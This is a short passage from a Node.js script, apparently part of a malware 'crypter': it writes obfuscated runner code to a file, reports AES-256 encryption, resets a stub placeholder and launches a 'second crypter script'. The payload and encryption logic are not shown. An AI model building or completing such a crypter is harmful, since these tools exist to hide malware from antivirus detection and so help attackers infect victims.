    const fileName = 'input.js';
    const targetFolder = path.join(__dirname, folderName);

    if (!fs.existsSync(targetFolder)) {
      fs.mkdirSync(targetFolder);
    }

    const targetFile = path.join(targetFolder, fileName);
    fs.writeFileSync(targetFile, runnerCode, 'utf8');

    console.log(`Encrypted with AES-256 after obfuscation.`);

    resetPlaceholder(stubPath, stubCode);
    await executeSecondCrypterScript();

  } catch (error) {
    console.error(`Error: ${error.message}`);
  }
}

main();